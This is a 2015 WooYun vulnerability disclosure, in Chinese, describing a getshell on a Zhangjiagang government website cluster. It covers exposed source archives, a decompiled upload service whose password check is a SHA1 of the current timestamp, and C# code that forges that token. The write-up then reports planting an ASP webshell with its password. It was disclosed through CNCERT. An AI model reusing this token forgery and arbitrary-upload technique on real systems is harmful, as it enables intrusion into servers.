当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153525

漏洞标题:张家港政府网站集群getshell

相关厂商:张家港政府

漏洞作者: niexinming

提交时间:2015-11-22 20:36

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-22: 细节已通知厂商并且等待厂商处理中
2015-11-25: 厂商已经确认,细节仅向厂商公开
2015-12-05: 细节向核心白帽子及相关领域专家公开
2015-12-15: 细节向普通白帽子公开
2015-12-25: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

双十一都在刷洞的黑客都是好狗,汪汪汪汪汪汪汪汪汪汪~~~~~

详细说明:

这个漏洞很有意思,我在这里写了出来,希望大家学习
首先是苏州市住房公积金管理中心—张家港分中心的网站目录可便利
http://**.**.**.**/EpointBigFileUpload
然后里面的部分源代码可下载,
http://**.**.**.**/EpointBigFileUpload/EpointBigFileUpLoad.rar
http://**.**.**.**/EpointBigFileUpload/EpointBigFileUpLoad22.rar
发现soap的服务
http://**.**.**.**/EpointBigFileUpload/FCKFile/EpointFileServer.asmx
发现里面的有个上传的接口

1.jpg


用awvs的webserver导入

2.jpg


发现上传的那个接口需要验证密码:

3.jpg


于是我就利用下载的那两个压缩包
先去看那个asmx对应的是哪个dll文件

4.jpg


看到是EpointBigFileUpLoad这个dll文件
然后在bin文件夹里面找到
然后用ILSpy.exe 这个软件反编译.net
发现这个代码

5.jpg


追踪到ValidateEncrpytion这个函数:

6.jpg


这个就很好玩了
(1)首先他先获得当前的tickes 也就是dtTicks这个参数
微软官网对于ticks是这样定义的:
A single tick represents one hundred nanoseconds or one ten-millionth of a second. There are 10,000 ticks in a millisecond, or 10 million ticks in a second.
The value of this property represents the number of 100-nanosecond intervals that have elapsed since 12:00:00 midnight, January 1, 0001 (0:00:00 UTC on January 1, 0001, in the Gregorian calendar), which represents F:System.DateTime.MinValue. It does not include the number of ticks that are attributable to leap seconds.
(2)对dtTicks进行还原,还原为时间
(3)减去当前时间,如果大于5分钟,则返回false
(4)对还原之后的时间(也就是now参数)进行sha1加密
(5)最后和传递进来的encryption参数做对比,对比成功则返回true
然后我用c#实现了类似的功能

using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Practices.EnterpriseLibrary.Common;
using Epoint.Frame.Common;
namespace 实验
{
class Program
{
static void Main(string[] args)
{
DateTime now = DateTime.Now;
now = new DateTime(Convert.ToInt64(DateTime.Now.Ticks));
string a =EncryptOperate.SHA1Encrypt(now);
Console.WriteLine(a);
Console.WriteLine(DateTime.Now.Ticks);
}
}
}


7.jpg


然后把这个信息复制到
Uploadfile的接口上就可以任意上传了

8.jpg


上传成功
http://**.**.**.**/EpointBigFileUpload/FCKFile/6666.asp 密码:MH

漏洞证明:

9.jpg


10.jpg


11.jpg

修复方案:

过滤上传后缀

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-11-25 11:52

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无